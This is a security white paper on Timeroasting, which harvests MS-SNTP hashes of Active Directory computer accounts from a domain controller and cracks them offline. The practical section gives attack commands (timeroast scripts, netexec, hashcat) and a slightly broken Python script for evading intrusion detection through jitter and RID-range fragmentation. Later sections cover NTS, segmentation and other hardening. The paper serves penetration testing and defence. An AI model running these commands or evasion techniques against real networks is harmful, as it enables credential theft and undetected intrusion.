Introduction

Timeroasting is a classification of attack which targets a system’s management of time. Compared to other categories of exploits, time-roasting is used by an adversary to manipulate and abuse misconfigured time protocols.

This produces conditions for an attacker to disrupt authentication flows and weaken relay produces – which leads to unauthorised access of systems within that environment.

Why Unauthenticated Time Sources are Dangerous

When time services are misconfigured – allowing for unauthenticated ‘NTP/SNTP’ traffic influence – it causes surrounding Windows services such as Kerberos and other time-sensitive protocols to fail, exposing recoverable artefacts. This is a critical misconfiguration as it creates dangerous conditions for an attacker to harvest ‘MS-SNTP’ hashes, allowing them to perform offline hash cracking attacks to potentially retrieve domain passwords.

Before we dive deeper into the practical section of this white paper, we should understand the basics of Active Directory and some of its theoretical fundamentals; one such example are its security tools.

Time as a Cryptographic & Operational Anchor

Kerberos, followed by many surrounding Active Directory security services use timestamps to ensure robust standardisation and synchronisation, limiting the potential for replay attacks. One such instance in which Windows’ Kerberos performs such as check is through a clock skew allowability check; this enforces a maximum time difference between the client and the Kerberos service – commonly set to 5 minutes.

Therefore, if the clocks between these two entities diverge beyond the tolerable amount, authentication fails and provides a clock skew error message. Thus, the integrity and authenticity of any supported time sources is a core security requirement – any weakness within the time services could make it prone to sophisticated attacks

MS-SNTP’s Purpose & Security Implications

Within Active Directory, ‘MS-SNTP’ is one of Microsoft’s set extensions for ‘SNTP/NTP.’ Therefore, it describes the way in which Windows Time Service (W32Time) conceptually interacts and negotiates with surrounding entities, ensuring appropriate synchronisation of computers/services managed by the Active Directory Domain Services (ADDS) – in other words, this procedure is how Microsoft decided to standardise time authentication.

However, for an attacker, this is quite trivial to circumvent; therefore, NTP must have appropriate security configurations such as proper symmetric key encryption implementation to prevent Man-in-the-Middle (MITM) attacks, necessary rate limits to prevent amplification attacks, and an Intrusion Detection System (IDS) to disallow unwanted NTP traffic.

Time Paradigms in NTP Authentication

Authentication modes within NTP historically have used symmetric key encryption for message authentication – sharing the same key and MAC; this includes some deprecated authentication options such as Autokey – a public key scheme that is rarely used in modern environments. Therefore, a more up-to-date example would be the Network Time Security protocol (NTS) – NTP over a TLS connection or TLS-backed keys.

Current Microsoft documentation describes that correct implementation of NTP authentication should include mutually authenticated sessions where NTS is possible – integrating per-peer keys without reusing a single key across too many peers, storing these keys securely with appropriate file permissions, OS key stores, or a secrets manager, and finally restricting NTP access, limiting which IPs can query the server through host-based ACLs or firewall rules.

Active Directory NTP Attack Surface

Unsanitised or unauthenticated NTP answers are a common attack vector – meaning the client accepts NTP responses – SNTP replies – from untrusted networks/devices; this is because an on-path or spoofing attacking attempt can supply a forged time value request to maliciously interact with the protocol.

This is a terrible misconfiguration as even subtle offsets in time values will cause a domino-effect and trigger Kerberos failure – it creates an opportunity for attackers to attempt replay attacks. Therefore, an AD environment with robust time authentication decreases potential attack surface through the diversity of trusted sources.

The main risk of a misconfigured internal time server – such as virtualised hosts acting as PTP/NTP sources – is when they’re a centralised authoritative source for clients; this is because the server may be trusted by several hosts, giving an adversary a collective leverage point to manipulate time across numerous endpoints simultaneously.

Timeroasting, vulnerable environment.

A common attack vector is Windows’ plug-in providers & its attached client modes; these 3rd parties could also be misconfigured, allowing publicly accessible NTP access – there are hosts that use internal MS-SNTP sources yet create mixed trust boundaries which can be exploited if these pathways are not properly maintained – such an instance would be causing fallback behaviour to prefer unauthenticated servers.

More Advanced Attack Vectors Within NTP

Since NTP’s robustness often depends on various independent entities such as selection algorithms, it is possible that even a properly configured NTP domain is still insecure due to its surrounding dependencies. For instance, an enterprise relied on a smaller number of upstream sources where those same sources share common network paths, hijacking and manipulating those paths can often be rewarding as the impact is greater when compared to targeting a single client. A loosely secure design approach is as follows in the figure below:

The core principle behind this is that Active Directory doesn’t allow servers to agree with each other. Instead, it uses a strict hierarchy, so one server is always treated as the main source of truth – thus, the structure provides predictability as opposed to redundancy as only one path to the time root can exist.

Furthermore, ‘W32Time’ uses a client-server mode, not a consensus algorithm – so if the forest’s root such as Primary Domain Controller (PDC) emulator’s upstream NTP source is inaccurate/inconsistent due to an attacker’s tampering, the entire AD forest inherits the aforementioned incorrect time. In other words, since the time servers don’t verify each other, the PDC emulator doesn’t double-check whether a time source is genuine. If the NTP response looks valid, it will trust it.

Realistic NTP Attack Scenarios

Besides common misconfigurations such as incorrect time zones, offsets, or poll intervals within the PDC emulator’s upstream NTP source, there are more realistic approaches to targeting a potentially vulnerable NTP server – once such instance is if the PDC emulator used a public-facing NTP pool that didn’t require authentication, allowing the aforementioned attacker to spoof responses which shift time by minutes or even hours.

Some organisations even deploy web-facing dashboards which allow DNS querying or Server-side Request Forgery (SSRF) within their admin panels – an attacker uses this to poke at the internal domain controller, allowing them to potentially control routing, escalate based on vulnerable DC services, cause hypervisor drift if the PDC emulator is virtualised, or an approach more aligned with the topic of this whitepaper – a targeted Kerberos NTP response hashing attack known as ‘Timeroasting’.


Practical Section

Within this part of the white paper, I will be discussing and providing a comprehensive overview to the basic practical functions behind time roasting. Since we have already briefly considered the theoretical aspects of NTP, we will be moving to a more hands-on approach.

The core concept of this attack will focus around targeting the MS-SNTP protocol and more specifically the vulnerability will orientate around the fact the domain controller will respond to our maliciously crafted NTP requests – embedded with many attacker-targeted Relative Identifiers (RID). The server will respond with an included cryptographic checksum (or in simple terms a hash) calculated entirely from any RID/user account password that is discoverable by our script.

The Basic Attack Flow

1) An attacker that has access to the network that has the NTP on, sends malicious UDP packets to the domain controller.
2) The packets will contain a forged authenticator with a brute-forced RID cycle – as an example, the command could include: -r 1000-2000
3) Any RID(s) that correspond to computer accounts, the DC will rely on the received NTP packet containing some kind of MD5 checksum (HMAC is common) within the NTP message, keyed alongside the targeted account’s NT hash.
4) Finally, if a computer account is found on the DC, the collected responses will include some form of MS-SNTP hash following this format: $sntp-ms$…

Different Penetration Testing Tools for Timeroasting

Basic Hash Extraction

We will start off with the different Timeroasting scripts available to us which requires the general following structure:

$ python3 timeroast.py <DC_IP> | tee ntp-hashes.txt
$ python3 timeroast-ng.py <DC_IP> -r 1000-2000 –T5 –non-blocking 

$ nxc smb <DC_IP> -M timeroast 

For our practical, we will be using the basic SecuraBV Python script. This is the command we will be using to attack our test environment with the following information: 

Hostname: DC01.test.local
IP Address: 10.42.18.15
Subnet: 255.255.255.0
Gateway: 10.42.18.1

$ python timeroast.py 10.42.18.15 | tee test_DC_NTP_Hashes.txt 

Output:
$ cat test_DC_NTP_Hashes.txt
$MS-SNTP$*1732000100*7*ab93d1c44f0e2289c9d5a1ef44c1b732*1122334455667788

After we have successfully retrieved the computer account’s MS-SNTP hash, we will attempt a brute-force hash cracking attack against it using Hashcat with the MS-SNTP hash algorithm mode ‘31300’ to see if the generic ‘Rockyou.txt’ wordlist has any matches. 

Hashcat command:
$ hashcat –m 31300 –a 0 test_DC_NTP_Hashes.txt /usr/share/wordlists/rockyou.txt --username 

This will crack the MS-SNTP hash if the password is a match within the wordlist that has been specified; please note that this can take quite a long time, especially if a larger wordlist is used as ‘Rockyou.txt’ is relatively small. In which case, you may want to use your GPU for full active cracking performance; therefore, it is imperative to use the --opencl-devices and –k or –d flags to select the necessary GPU interface. 

Within this example, we have used the –-username flag as it is important due to the hash output from some Timeroasting tools including the RID, otherwise breaking hashcat’s expected hash format. 

Advanced Timeroasting Techniques – Bypassing Protection Measures

Moving on, Timeroasting can get quite complex and often result in blind-attack attempts – similar to something like blind SQL injection – attempting different payloads to see various timing responses, packet NTP transfer feedback, and comparing successful and malicious NTP packet outbound attempts. For example, Timeroasting’s classic variation relies heavily on purposeful misconfigurations and only works for computer accounts – however, a domain admin can sometimes modify user account attributes to make the AD environment’s DC to treat them as computers or give them basic privileges to interact with domain-level services. 

Specifically, if the user’s userAccountControl flag is set to UF_WORKSTATION_TRUST_ACCOUNT (4096) while the appended $ is added to their sAMAccountName, an attacker could potentially use this as lateral movement. 

Sometimes a basic AD Intrusion Detection System (IDS) can block us if we send a high volume of authenticated NTP packets – therefore, to send more benign, overlooked NTP traffic, we will have to use advanced timing & blocking-mode flags from the ‘timeroast-ng.py’ tool. For example, using a stealthy –T2 timing attack with the --blocking flag will reduce the likelihood of more basic IDS implementations flagging us as malicious NTP traffic. Sometimes the desync between the server clock difference is acceptable not causing a skew but still providing incomplete NTP traffic output. Therefore, we use the --wait flag to provide additional time for the server to respond accurately. 

However, most modern IDS systems are configured to detect NTP irregularities so we will have to try a more manual approach which we will call fragmentation – small RID ranges across multiple sessions, broken into small chunks over time. Which can be seen below:

$ python3 timeroast-ng.py <DC_IP> -r 1000-1100 -T2
$ python3 timeroast-ng.py <DC_IP> -r 1100-1200 -T2 
$ python3 timeroast-ng.py  -r 1200-1300 -T2 

Or an even more effective approach which involves IP rotation if possible:

$ python3 timeroast-ng.py <DC_IP> -r 1000-2000 –T3 –source-ip <ALTERNATE_IP_LIST> 

A basic script to implement random jitter and timing requests to blend in with normal NTP traffic – this is a quite lose example of a considerably basic script and these evasion scripts can get quite advanced quickly if you are chaining multiple approaches simultaneously – an example of this could include the following script:

import random 
 
def random_timing_attack(dc_ip, rid_ranges): 
    for rid_range in rid_ranges: 
        # Random delay between requests 
        delay = random.uniform(2.0, 30.0) 
         
        # Make it random using timing templates 
        template = random.choice([1, 2])  # Enforce use of slow templates 
         
        cmd = f"python timeroast-ng.py {dc_ip} -r {rid_range} -T {template} -wait {random.randint(5, 12)}" 
        subprocess.run(cmd, shell=True) 
time.sleep(random.randint(60, 600))  # wait time of 1-10 minutes 

Advanced Protection Methods Against Timeroasting

Some of the lowest hanging fruits are cryptographic weaknesses – therefore, set a preference for Network Time Security protocol (NTS) whenever the client or the server supports it. Since the modern standard for NTP authentication is RFC 8915, it is highly recommended that any AD environments include basic key establishment over TLS and only after that initial check should authentication checks take place to properly protect the NTP packets so an on-path attacker is not able to forge or further tamper with time responses; there are some nuances to this of course, for example, they could set up ephemeral packets that sent with subtle jitters, time delays, and simulated drops to see how an IDS or the environment reacts to these anomalies.

Generally speaking, migrating supported servers and clients to NTS removes a significant amount of MITM/spoofing attack vectors. Furthermore, in an AD environment, internal sync plays a crucial role in the behaviour of the NTP as well as its subsequent authentication modes, domain mechanisms, and other by default unprotected services. Since W32Time supports authenticated NTP and can use domain security features like Kerberos session keys or basic symmetric authentication between the domain members and the DCs, it is important to ensure that these are properly configured to use authenticated time transport while removing any potential internet-facing NTP services for internal sync. 

That being said, some environments require symmetric keys for compatibility reasons, and so it is important to scope as well as rotate them consistently – other symmetric authentication (like NTP MACs) work but tend to be fragile due to narrow key scopes, and fewer clients per key but secure distribution through out-of-band or protected channels paired with regular rotation will significantly reduce the risk of key compromising and other similar attack vectors such as forged authentication replies. As a rule of thumb, it has considered poor systematic design to allow unauthenticated public NTP services on PDC(s)/DC(s) or a single-server setup – any unauthenticated configurations for domain time sources are objectively a poor security decision. 

Beyond low hanging fruit, there are approaches to improve design security for several types of AD environments – hardening the authoritative tier (such as the PDC emulator or the stratum 1 / 2 in use). 

Designating a tiny number of hardened, monitored time servers (the aforementioned PDC emulator as an example) as well as a few different internal stratum 1 / 2 servers, placing these onto a protected managed network, ensuring they are the only servers to which your DC(s) point to. Also, avoiding letting a ton of hosts directly query internet NTP pools for domain time will reduce the overall attack scope. 

This is where it starts to get a little more interesting and theoretically complex (if the subject goes into further detail); clients and servers should communicate with multiple, independent & geographically diverse network authoritative sources so that a single upstream path that has been compromised by an attacker will not allow them grand influence on the entire domain. This is the simple concept behind network segmentation with an array of dedicated services to ensure a robust hierarchical structure. 

A more practical setup would include dedicated time service VLANS, putting time servers and the PDC on a restricted, isolated VLAN or subnet; ensuring that the UDP traffic is restricted completely to ingress/egress functionality as configured to by ACLs and firewall rules – only authorised hosts with whitelisted IP addresses can interact with the NTP service (meaning they can still respond to or issue time queries for the domain while any untrusted host will not be able to). 

Virtualisation & Cloud Perspectives 

Sometimes clients will rely on a VPC or cloud hypervisor that has an allocated AD environment setup within. In these cases, there are a few solid modern configuration tips & tricks to follow in order to better protect your domain. 

Starting first with disabling host-guest time passthrough as the sole authority – in other words, treating the hypervisor or even the host as one of the different trusted sources and ensuring guests have the correct NTP configuration and access controls privy to their level of permissions. As for cloud VM(s), preferring provider-backed or authenticated time services when accessible will ensure that VM(s) do not point directly to any unintended unauthenticated public NTP by default – some 3rd parties have their own bespoke best practices such as NIST’s ‘Authenticated NTP Service’ which prioritises symmetric encryption, and Amazon Web Services’ cloud-focused ‘EC2 instance’ methodology. When put together, this creates a secure NTP cloud environment which can be seen in the image below: 

Finally, the last recommended cloud practice would be to instrument virtualisation platforms so that host clock anomalies can be appropriately detected – or guest drift – treating hypervisor time changes as the highest priority. You can get even deeper into this niche aspect of AD security such as custom detection rules, telemetry configurations, and SIEM rules but that will greatly vary from provider to provider, so we will end things here.

References